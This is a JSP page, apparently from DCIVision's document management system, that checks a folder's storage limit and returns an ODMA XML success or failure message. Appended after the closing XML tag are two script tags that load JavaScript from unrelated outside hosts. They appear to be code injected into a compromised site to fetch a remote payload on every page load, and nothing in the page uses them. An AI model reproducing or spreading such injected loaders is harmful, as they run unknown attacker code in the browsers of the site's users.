<%
/*
 * @(#)PrepareOperateDoc.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   PrepareOperateDoc.jsp
   prepare operation document save to dms check the storgae limit
  
    @author             barbin
    @company            DCIVision Ltd
    @creation date      23/01/2007
    @version            $Revision: 1.1.2.1 $
*/ 
%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ include file="monitorLoginStatus.jsp"%>
<%
  String rootID = (String)request.getParameter("rootID");
  String size = (String)request.getParameter("size");
  String parentID = (String)request.getParameter("folderID");
  Connection conn = null; 
  boolean isStorage = true;
  try{
    conn = DataSourceFactory.getConnection();
	DocumentValidateManager documentValidateManager = new DocumentValidateManager(sessionContainer, conn);
	isStorage = documentValidateManager.checkStorage(size,rootID,parentID);

  }catch(Exception e){
    LogFactory.getLog(this.getClass()).error(e, e);
  }finally{
    conn.close();
  }

%>

<?xml version="1.0" encoding="UTF-8"?>
<odma>
<odmaGetType>PrepareOperationDoc</odmaGetType>
<%if(isStorage){%>
  <result>Success</result>
<%}else{%>
  <result>Failed</result>
<%}%>
<%if(isStorage){%>
  <message>Operation successfully!</message>
<%}else{%>
  <message>Operation failed! No available space, please contact administrator to enlarge the space limit. or The target folder isn't exist!</message>
<%}%>
</odma>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>